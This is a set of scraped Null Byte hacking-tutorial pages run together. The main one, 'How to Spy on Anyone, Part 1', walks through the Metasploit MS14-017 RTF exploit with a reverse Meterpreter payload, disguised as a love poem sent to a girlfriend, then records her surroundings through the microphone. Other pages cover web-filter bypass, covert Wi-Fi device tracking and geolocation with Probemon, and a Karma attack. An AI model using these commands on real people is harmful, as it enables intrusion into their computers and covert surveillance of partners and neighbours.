HackersHow To:Use Wordlister to Create Custom Password Combinations for CrackingHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHack Like a Pro:Cryptography Basics for the Aspiring HackerHow To:Encrypt Your Notes, Photos & Archives with EncryptPadTypoGuy Explaining Anonymity:A Hackers MindsetHow To:Hack MD5 passwordsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Crack Wi-Fi PasswordsβFor Beginners!Hack Like a Pro:How to Crack User Passwords in a Linux SystemHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)Mastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Recover WinRAR and Zip PasswordsHow To:Hack Mac OS X Lion PasswordsSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:Encrypt Your Sensitive Files Using TrueCryptNews:Advanced Cracking Techniques, Part 1: Custom DictionariesRainbow Tables:How to Create & Use Them to Crack PasswordsNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionHow To:Carve Saved Passwords Using CainHow To:GPU Accelerate Cracking Passwords with HashcatGoodnight Byte:Coding a Web-Based Password Cracker in PythonHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Bypass Windows and Linux PasswordsHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Encrypt And Decrypt Text In Python |
Hack Like a Pro: How to Spy on Anyone, Part 1 (Hacking Computers) Β« Null Byte :: WonderHowTo | Welcome back, my rookie hackers!Now that nearly everyone and everyplace has a computer, you can use those remote computers for some good old "cloak and dagger" spying. No longer is spying something that only the CIA, NSA, KGB, and other intelligence agencies can doβyou can learn to spy, too.Inthis brand new series, we will explore how we can use the ubiquity of the computer to peek in on just about anyone and anyplace. Unlike the spy movies of yesteryear where the spy had to place a listening device in the lamp or in a houseplant, as long as there is a computer in the room, it can be used as a "bug."We will examine how to turn that commonplace computer into our own bug to listen in on conversations, use as a spy camera, track Internet searches, and more. James Bond and Q have nothing on us!In this first part, I will show you how to convert any computer, anywhere, into a listening device. As nearly every room now has a computer in it, you can put a bug in nearly every room, unnoticed and undetected.Step 1: Fire Up KaliThe first step, of course, is to fire upKali Linux. To be able to use any computer as a bug, the first step will be to compromise the target computer.Step 2: Compromise the Remote ComputerProbably the best way to compromise your target's computer is to use a carefully crafted email that will get the target toclick on a documentorlink. Inside that document or link, we will embed arootkit/listenerthat will enable us to turn onthe built-in microphoneon their computer and save any conversations in the room where it is located.Since we know the victim (it may be a girlfriend, neighbor, spouse, business associate, foreign diplomat, foreign spy, etc.), we can can be very specific in crafting an email that would gain their acceptance. The key, of course, is to create document that sounds compelling, or at least interesting, to get the victim to click onthe Word document.This becomes an exercise insocial engineeringat this point. If the victim is a girlfriend/boyfriend, you might try sending a love letter. If the victim is a business associate, it might be Word or Excel document with a sales or other report. If it is a neighbor, it may be a link to a community webpage.I hope you get the point. Be creative and imaginative and send something that the person will be compelled to open and view.Step 3: Find an ExploitNow, if we want to exploit aWindows 7system (most Windows 7 exploits will work on Windows 8), we will need to find a Windows 7 exploit that utilizes vulnerabilities in Microsoft's Word application.This past spring, Microsoft revealed that hackers had found a vulnerability in Microsoft Word and Office Web apps that could allow remote code execution (read, rootkit). Here is Microsoft's announcement on theirTechnet Security Bulletinbelow (more info on Technet can be foundhere).As you can see, they have named it MS14-017. When we do a search inMetasploitfor this vulnerability/exploit, we find:exploit/windows/fileformat/ms14_017_rtfNow that we have found the proper exploit, let's load it into Metasploit by typing:msf >use exploit/windows/fileformat/ms14_017_rtfOnce we have it loaded, let's type "info" to find more about this exploit.Now, "show options."As you can see, the option we need to fill is the FILENAME. In addition, note that this exploit works only on Office 2010.Step 4: Set the FILENAMEIn this example, we will be spying on your girlfriend, so let's send her a love poem. Let's set the FILENAME to "lovepoem.rtf."set FILENAME lovepoem.rtfStep 5: Set the PayloadNext, we need to set the payload to place in her "lovepoem." In this case, let's send themeterpreteras it gives us almost unlimited power and control over the hacked system.msf > set PAYLOAD windows/meterpreter/reverse_tcpNext, set the LHOST. This is the IP of your system. This tells the payload who to call back when it is executed by the victim.Finally, simply type "exploit." This will create a Word file called "lovepoem" that will place the meterpreter on her system that we can then connect to.Step 6: Open a Multi-Handler for the ConnectionFor the next step, we need to open a multi-handler to receive the connection back to our system.msf > use exploit/multi/handlermsf > set PAYLOAD windows/meterpreter/reverse_tcpAnd finally, set the LHOST to your IP.Step 7: Send the Love Poem to Your GirfriendNow that we have created our malicious file, you need to send it to your girlfriend. You likely will want to send it via an email attachment with a note telling her that your wrote her a short poem to express your love for her. Knowing that it is from you, I'm sure she will click on it as she loves you dearly and trusts you completely.Step 8: Compromise Her SystemWhen she opens it, we will have a meterpreter session on her computer like that below. Now comes the good part.Step 9: Record with the MicrophoneWhat we will do next is enable the microphone on her computer and begin to record all of the sounds within earshot of it. Metasploit has a Ruby script that will enable the microphone on the target machine and begin to record all sounds and conversations nearby. If we go toour ultimate list of meterpreter scripts, we can find it among the many ready Ruby scripts built for the meterpreter.From the meterpreter prompt, simply type:meterpreter > run sound_recorder - l /rootThis will start the microphone on her computer and store the recorded conversations and sounds in a file in the/rootdirectory on your system. Of course, you can choose any directory to store these recordings. Just make certain you have adequate hard drive space, as these files can become very large. When you want to hear what was recorded, simply open the stored file on your system.Stay Tuned for More Spying Fun...No longer is spying the exclusive province of the CIA, NSA, KGB, or MI5. With just a little computer skills, anyone can be a spy. Infuture tutorials, I will show you how toturn on webcams,take screenshots, download confidential files from anyone's computer, and more.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)News:Some of the World's Most Notorious Hackers Got HackedHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Force Switch to T-Mobile or Sprint on Project FiHow To:Turn Your iPhone into a Spy Camera Using Your Apple WatchThe Hacks of Mr. Robot:How to Spy on Anyone's Smartphone ActivityHow To:Secretly record people with your own spy sunglassesHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHow To:Become a Computer Forensics Pro with This $29 TrainingNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Hack a megaphone into a bionic hearing spy deviceHow To:Keeping Your Hacking Identity SecretNews:What to Expect from Null Byte in 2015How To:Make a motion triggered spy cameraNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreNull Byte:Never Let Us DieNews:Student Sentenced to 8mo. in Jail for Hacking FacebookHow To:Noob's Introductory Guide to Hacking: Where to Get Started?News:HackingNews:What does Pro Tools HD Native mean for you?Hack Like a Pro:Creating Your Own Prism ProgramHacking in the Media:Our Craft's Portrayal as Black Magic |
How to Sneak Past Web Filters and Proxy Blockers with Google Translate Β« Null Byte :: WonderHowTo | Do you need proxy access, but cannot have it for some reason? The most common perpetrator behind the issue is the network you're trying to access the pages from. Some networks will block websites, then go as far as filtering out all of the web queries for terms like "proxy" because it can get around their filter. Quick web proxies can be used for tons of other things, though.So, how do we hack our way around this little dilemma? Our answer lies in Google.There are a few really clever ways that we can manipulate Google to be used as a proxy. It will unblock websites that are under firewall and even provide some anonymity (though not 100% anonymity). Even if you are barred from accessing a resource on the web, or a proxy, you still may need to use them for a legitimate reason. That's why we are here to help!RequirementGoogle accountThe HackThis method usesGoogle Translate. We use the Google translator as a tool to obfuscate and encode our URLs. This effectively takes us past most web filters so that we can access any page that we desire.This exploit exists within the Google translate tools. The concept is rather simple; when a user selects "Translate from <any foreign language> to English", the page URL is becoming encoded and then the page is being re-translated into English, so it is readable for you. Check out my example of this proof of concept in the video below.Please enable JavaScript to watch this video.The video showed us a few things.Grab the link of the blocked page.Paste it into the Google translate tool.Paste converted link to friends, if desired.Be a Part of Null Byte!Post to theforumChat onIRCFollow onTwitterCircle onGoogleWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto bydeseretnewsRelatedHow To:Use Google Translate as a ProxySPLOIT:How to Make a Proxy Server in PythonHow To:Bypass WebSense at school and workHow To:Bypass School Internet Filters to Unblock WebsitesHow To:Get Samsung's Internet Browser on Almost Any Android DeviceHow To:You Can Get One of the Galaxy S9's Best Apps on Any PhoneHow To:Hide Your IP Address with a Proxy ServerHow To:iOS 13 Makes It Easier to Disable Content Blockers for Specific Websites in SafariHow To:Circumvent an internet proxy or browser filtersHow To:Translate Foreign Text Live in Real Time Using Your SmartphoneHow To:Translate webpages with Google ToolbarHow To:Google Photos Waiting for Wi-Fi? Here's the FixHow To:Bypass the web filter set up on your school's computer networkHow To:Access blocked websites & bypass web filtersHow To:Use Charles Proxy to View the Data Your Mobile Apps Send & ReceiveNews:Google Will Automatically Translate Reviews No Matter What Country You're InNews:This App Blocks All Kardashian Stories from Showing on Your iPhone (Including This One)How To:Use Google Translate to Translate Text You See in the Real WorldHow To:View Your Stadia Gaming Sessions from Your Google Account HistoryHow To:Translate Text in Any Android AppHow To:Browse and Download Files from Your Android Phone Using Your Computer's Web BrowserHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsSamsung Internet 101:How to Use Extensions to Block Ads, Scan QR Codes, & MoreHow To:Block Spoilers for TV, Movies, & Sports in Your BrowserHow To:Block Ads for Hulu Plus, Pandora, YouTube, & More in iOS 7 (No Jailbreak Required)How To:Get around your school's Websense filter with HopsterHow To:Block Popups in Safari on Your iPhoneHow to Hack Wi-Fi:Evading an Authentication Proxy Using ICMPTXHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHowTo:Bypass Blocked WebsitesHowTo:SpongeBob SquarePants Cake RecipeHowTo:LEGO CakeNews:Fun with Blogs!News:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItNAB 2010 Sneak Peek:RED 3D PhotosHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitHow To:Use Firefox Add-Ons and Greasemonkey to Make Google+ PerfectNews:Google Plus Translated |
How to Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFi Β« Null Byte :: WonderHowTo | As we all know, security is a big thing here inNull Byte. We've talked quite a bit about ways to encrypt traffic and become anonymous on the internet, some of which entail using proxies,VPNs, andSSHtunnels. We've also talked about preference using SSL pages in practice for safe logins. These are all great protocols and tools, but aren't without their flaws and inconveniences.For example, when you are using public Wi-Fi, it is very inconvenient to open a terminal, connect to your shell, forward your traffic, and reconfigure all of your applications.Web proxieshave been a common practice as a simple way to encrypt and anonymize traffic, but this also is not without its flaws. The initial connection to the proxy isstillunencrypted and a lot of people don't even realize this, or they ignore its significance.For this Null Byte, we are going to use a cool tool made byMoxie Marlinspike(my hero) calledFiremole. Firemole creates an SSL-encrypted connection to a proxy, thus, all of your traffic becomes safe! Firemole is an add-on for the Mozilla Firefox browser.RequirementsMozilla FirefoxStep1Download & Install FiremoleFirst, let's start off by installing the plugin. Make sure you know where the file downloaded to.Download Firemole fromhere.Open Firefox.Navigate to the add-ons menu. This will differ depending on how you have your menu bar configured.Click the dropdown menu next to the search bar and selectInstall add-on from a file.Navigate to thefiremole.xpifile and install it.Step2Use Firemole to Connect to a ProxyHere's a vTutorial I made that will show you how to navigate the interface to get Firemole going.Please enable JavaScript to watch this video.With that done, you are set up with SSL connected proxies! No more need for SSH tunnels on-the-go. For Null Byte updates, follow me onTwitter. Also, feel free to join theIRCfor more information and chatter.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viaTech LiberationRelatedHow To:Stay Anonymous on Your Nexus 7How To:Boost Internet Speeds & Hide Your Browsing History from Your ISPHack Like a Pro:How to Keep Your Internet Traffic Private from AnyoneHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Bypass School Internet Filters to Unblock WebsitesHow To:Build a Pumpkin Pi β The Rogue AP & MITM Framework That Fits in Your PocketAndroid Security 101:How to Secure Your Communications & MessagesHack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHow To:Your Phone's Biggest Security Weakness Is Its Data Connection β Here's How to Lock It DownHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:Enable Gaming Preferred Mode on Google Wifi or Nest Wifi for Smoother Stadia StreamingHow To:Bypass Filters, Firewalls, & Open Hotspot Restrictions on Your Galaxy Note 3How To:Create an SSH Tunnel Server and Client in LinuxHow To:Use Tortunnel to Quickly Encrypt Internet TrafficUncrackable File Sharing:Securely Transfer Your Secrets with 4096-Bit EncryptionHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Get Free Wi-Fi from Hotels & MoreAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Chain VPNs for Complete AnonymityHowTo:Stay Safe Using Public WiFiMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Remotely Control Computers Over VNC Securely with SSHMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebNews:iPhone 4 DetailsHow To:Prevent Social Networks from Tracking Your Internet ActivitiesNews:3 Unique Alternative Web Browsers for Your iOS DeviceAtomic Web:The BEST Web Browser for iOS Devices |
How to Log Wi-Fi Probe Requests from Smartphones & Laptops with Probemon Β« Null Byte :: WonderHowTo | It's no secret that devices leak data, but sometimes they do so in ways you may not expect. Your phone, laptop, printer, and IOT devices leak Wi-Fi information that can (and is) used to track you.Today, we'll make a Wi-Fi probe logger with Probemon.py to track nearby devices by MAC address, signal strength, and APs they have recently connected to. We will explore tying this data to home or work locations with a database correlation attack to locate the owner of a tracked device.Passive Surveillance of Wireless DevicesIn cellular-based surveillance devices like the infamousDRTBOX, the device forces all cell phones in range to connect and give up their location and unique ID. This, combined with GPS, is enough to know who you are and where you are as long as your phone is on, without ever knowing you've been tracked. Using wireless probe frames instead, there is a much less complicated way to track users by their devices.Most Wi-Fi devices leak identifying information through the process they use to probe for wireless networks nearby. We'll use a Python-based probe logger to record the information from these probes to fingerprint and determine what kind of devices are nearby, and where those devices have been. For small, discreet tracking, Probemon works well on the Kali Pi.Don't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxSeveral Raspberry Pi based Probemon probe loggers.Probing the Probes (To Probe While You Probe)I've been fascinated with the concept of a "blind" security camera that detects presence without using a traditional lens setup. Now that most people carry wireless devices, you don't really need to see in the classical sense to detect a person or device being present.Traditionally, we have ultrasonic motion sensors, passive infrared sensors, and other people-sensors for monitoring if a person is approaching and triggering things like sounding an alarm or opening a door. Now that humans have evolved to clutch wireless close to them at nearly all times, you can usually assume a smartphone signature represents a person, and a person represents at least one laptop or smartphone with a wireless card.Wireless devices are always searching for Wi-Fi networks while the wireless cards are left enabled, sending out these identifying, unencrypted probe frames. Users typically leave Wi-Fi on, but even if they don't, several "smart switching" modes also send the same probes. I was excited to learn thatNik Harrishad taken my musings of a way to track people by their device to a new level by creating Probemon, a Python program that uses a wireless card to detect, classify, and log these probe frames to track these devices.How Probemon Tracks YouPhones and other wireless devices find Wi-Fi around them in two ways, by probing for any AP (a broadcast probe) or probing for the last AP or several APs the device has successfully connected to. These probes can be sniffed, logged, and the device MAC address fingerprinted to prove that a particular person's phone was at a certain place at a certain time.Probemon creates a CSV or text output file of all the wireless devices logged in range nearby and wasoriginally created to catch a graffiti artistby correlating the wireless network probe request from his smartphone to his home address. Several years ago, phones actually included the MAC address of the last AP they connected to, which allowed for easy lookup of the location of the AP as well as the manufacturer.In addition to fingerprinting the device, Probemon also allows us to see the last network the phone or laptop connected to. We can useWigle.netto look up the geolocation and build a profile of a user in a very short amount of time.The iPhone Makes an AttemptThis technique has poorer effectiveness against the iPhone due to the way the iPhone searches for Wi-Fi. It does so by sending out a "broadcast" ping or "to anyone" ping requesting for any nearby access points to reply rather than any specific one. Therefore, we will not see an iPhone asking for any specific APs. Tracking an iPhone is also somewhat harder (up until iOS 10) due to the fact that italso randomizes its MAC address when making these requests.In iOS 10, an Apple-specific element was added to the way iPhones probe for networks, allowing them to be effectively tracked again. Despite still being trackable, researchers described the technique used in the iPhone's probe requests as "closest to being pretty good."What You'll Need for a Probe LoggerProbemon is a Python program, which allows it to run on a flexible range of devices. Generally, Probemon performs quite well and is easy to install on Kali Linux. To use it, you'll need:a fully updated version of Kali Rollinga wireless network adapterpreferably a portable setup like a Raspberry Pi 3Don't Miss:Guide to Selecting a Wireless Network Adapter for HackingVarious wireless probe loggers based on the Raspberry Pi, one incorporating a network camera to activate only when a certain device is present.Step 1: Installing DependenciesFirst, let's set up some dependencies. After updating Kali, you'll need Python,Netaddr, andLibdnetto make this work. Kali Linux typically includes Python, but if not you can run:apt-get install pythonIf you try to run Probemon before installing the dependencies, it'll complain about whatever is missing.Probemon whining about netaddr during run.git clonehttps://github.com/drkjam/netaddrcd netaddrsudo python setup.py installcdgit clonehttps://github.com/secdev/scapy.gitcd scapysudo python setup.py installGreat! Let's get Probemon and run it for the first time.git clonehttps://github.com/nikharris0/probemon.gitcd probemonsudo python probemon.pyIf you see something like the following, than the script is ready to run.The script is ready to run.If it complains about a dependency or module being missing, odds are you'll need to find it on GitHub and install it likeScapyand Netaddr. I noted in my first build on a Mac, I needed Libdnet, but I didn't seem to need when installing on Kali.Step 2: Running Probemon to Intercept Wireless Probe FramesProbemon comes with a full suite of arguments to help you find and refine wireless probe frames.Probemon arguments you can apply during a run.First, you'll need to put your antenna into monitor mode. Runifconfigto find your antenna. Assuming it's wlan1, type the following into terminal.airmon-ng start wlan1Once that's started, we can start to capture data. To begin, run Probemon with:python probemon.py -i wlan1mon -t unix -o ~/WonderHowTo -f -s -r -lThis script logs the results to a file called "WonderHowTo" and displays the results on the screen as they come in live. You will notice MAC addresses, the manufacturer, and wireless networks that device is looking for along with the signal strength. I've removed the MAC addresses in the following screenshot.Intercepted probes.Step 3: Interpreting the Data β What Does It Mean?What have you created? It depends on what you want to measure. Probemon can be run remotely by a discreetly placed device to detect when a particular device, and user, are nearby. It can be used as a "who's home" board. For mobile devices, this is a fingerprinting and tracking ability that lets you identify and track mobile devices, and figure out where they're likely to be in the future. But how can we use this data to dig deeper into the history of the device and user?In our dataset above, there is a probe from a Liteon Technology device that is trying to connect to a network called "WPATubez." How unique can the name (ESSID) of this network be? Using local filters, there is often only one result.With a local filter applied on a Wigle.net database search, it is often trivial to find the address at which the AP in question is located. In this search example, only one AP with that name has been sighted within the last three years and is located in Burbank. We also discover that it is an open Wi-Fi network, allowing us to potentially launch a Karma attack against the user's device.Cross referencing the Wigle database.How is this useful? By creating an open wireless network, we can convince the device to join our network and scan it more intensively. We can also track when this device is nearby and monitor distance by signal strength, or go to a suspected home location and scan for the device when we expect the user carrying it to be present. Swapping the size of the antenna can also limit or expand the range depending on the requirements.Step 4: Defeating MAC Address SurveillanceFor one, turning off your wireless card when not in use and disabling "smart switch" mode will prevent your phone from giving away its MAC address when in "disassociated" mode (not connected to Wi-Fi).A program likeMacchangercan change your MAC address to something spooky that would make someone want to stop monitoring you. On boot, I like to have my Raspberry Pi assume the MAC address range of a particularly scary government defense contractor's computers. I don't really advise that, so instead, I'll show you how to randomize your MAC address.First, take the interface to be camouflaged down with:ifconfiginterfacenamedownThen, change the MAC address with:macchanger -rinterfacenameifconfiginterfacenameupThis should change the MAC address your wireless card leaks to the world. You can confirm this is working with:macchanger βshowinterfacenameIn Practice: How to Use SIGINT in ReconIn our real world example, we'll use probe logging as a form of signals intelligence to find information on a target passively. In a hypothetical scenario, we want to audit the employees of an office building for ways to get into company accounts and devices.During an opportune visit to the office posing as a customer, we activate a Raspberry Pi probe logger for the duration of our tour of the building. We record probes created by printers, laptops, smartphones, and other wireless devices in proximity and mine the data for attack vectors.Probe logger example, one with a network camera.Types of data we're looking for include:The MAC address of printers and other wireless devices in the office, along with any networks they are searching for, associated with, or have no/weak passwords.The MAC address of smartphones and laptops belonging to users to create a "hot" list for confirming an employee is in range.Any wireless network a personal device is attempting to connect to which is GPS locatable, unsecured, or that reveals a home or work location.The manufacturers of the devices found and whether they are vulnerable.The best part about this kind of recon is that it is very hard to detect. It is completely passive and relies on capturing the emissions from the devices around you. Despite its low profile, creativity in tying data together can yield impressive results with this technique.Thanks for reading, and make sure to keep an eye on Null Byte for more hacking tutorials. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Build a Pumpkin Pi β The Rogue AP & MITM Framework That Fits in Your PocketHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:USB Tether Your Android Device to Your MacβWithout RootingHow To:Spy on Network Relationships with Airgraph-NgHow To:View Battery Levels for All of Your Devices in One AppHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Share Your Windows 8 PC's Internet with a Phone or Tablet by Turning It into a Wi-Fi HotspotAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Tether a laptop to a Droid smartphone for free WiFiHow To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow To:Recover a Lost WiFi Password from Any DeviceHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:See Who's Clogging Up Your Wi-Fi Network with These Free Mobile AppsHow To:Spy on Traffic from a Smartphone with WiresharkHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:This DIY WiFi-Detecting 'Sting' Blade Is Perfect for Any Hobbit Looking for a HotspotHow To:Analyze Wi-Fi Data Captures with Jupyter NotebookHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:Crack Wi-Fi PasswordsβFor Beginners!How To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody β Even Android UsersHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Connect to a network using Wi-Fi on a Mac computerHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHulu 101:How to Cast Shows & Movies to Your TVHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:9 Tips for Maximizing Your Laptop's Battery LifeHow To:Get Free Wi-Fi from Hotels & MoreNews:PSP2 (Next Generation Portable) or NGPNews:In Just a Clik, Turn Your Smartphone into a YouTube Remote for Any Web DisplayHow To:Build Your Own "Pogo Mo Thoin" to Flash Any Xbox 360 DVD Drive for Under $5News:Art Meets Information Liberation with the Transparency GrenadeHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Make Your Laptop Theft ProofHowTo:Get FREE In-flight Wi-Fi From Google |
Master Python, Django, Git & GitHub with This Bundle Β« Null Byte :: WonderHowTo | If you're looking to get started with your training in web development, a natural starting point is learning to code with Python and then saving and sharing your work on Git and GitHub. These are standard tools of the industry, and mastering them will put you one big step closer to succeeding in the professional sphere.The Learn Python & Django Developer Bundleis a highly-rated teaching tool that can train you in Python, Django, Git, GitHub, and more; and it's currently on sale for $29.99, a discount of 98%. You can get an even bigger discount with our Mother's Day coupon code below.Python is one of the most widely used coding languages around. You can use it for game design, data analysis, web design, and so much more. Learning it is a natural step in your professional development. This bundle includes six courses on Python, from basics to advanced skills. Courses like "Complete Python Master Class: Learn Python Programming by Building Projects" will give you a practical introduction to Python that will be built upon by more advanced courses in the vein of "Python Programming Advanced: Understanding Weird Concepts."Django is a tool that works in tandem with Python to improve the quality of your work and provide resources that will solve common problems that arise whenworking with Python. The "Django Master Class: Complete Web Development with Python" will teach you how to use Django to improve your work with Python and save you some time.Git and GitHub are essential tools for programmers across the industry. Git allows you to save and restore your work as you complete it, and GitHub will let you share and analyze the work your peers are doing so you can learn from it. This bundle comes with 26 lessons on how to use Git and GitHub to your advantage. This is an essential tool taught by Shubham Sarda, a software developer, digital marketer, and teacher currently ranked among the Top 700 freelancers with over 2,500 projects on Fiverr, PeoplePerHour, freelance, and more.With 31 hours of training that you can access for life, this bundle can be a resource you learn from, practice with, and return to for reference. You can get The Learn Python & Django Developer Bundle on sale for 98% off, and if you use the code WELOVEMOM, you can get 20% more savings for Mother's Daybringing the total price down to $23.99from $1,600.Prices subject to change.A Deal You Won't Want to Miss:The Learn Python & Django Developer Bundle for Just $23.99 (with Code)Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Practice Using Essential Tools of the IT Trade with This Value BundleMac for Hackers:How to Use Git to Clone, Compile & Refine Open-Source Hacking ToolsRaspberry Pi:MetasploitDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Become a Django Developer & Build Better Websites in 3 Powerful CoursesHow To:Become a Master Problem Solver by Learning Data Analytics at HomeIRC Guide:Making a BotHow To:This Extensive Python Training Is Under $40 TodayHow To:Create Your Own Search Engine for More Privacy & Zero Trust IssuesHow To:Build and Install Kali Nethunter (The New Version) On a Supported Android Device Running Android 6.0.1How To:Learn the Most Widely Used Programming Language for $35How To:Get WPA-WPS Passwords with Pyxiewps.How To:Start Making Your Own Apps Today with This $20 BundleHow To:Learn How to Build & Deploy Apps Fast with Django for Only $26How To:Defeating HSTS and Bypassing HTTPS with DNS Server Changes and MITMfHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Detect Bluetooth Low Energy Devices in Realtime with Blue HydraHow To:Slip a Backdoor into PHP Websites with WeevelyHow To:This Python Bundle Can Teach You Everything You Need to KnowHow To:Install Gitrob on Kali Linux to Mine GitHub for CredentialsHow To:Code Your Own Twitter Client in Python Using OAuthHow To:This Master Course Bundle on Coding Is Just $34.99 |
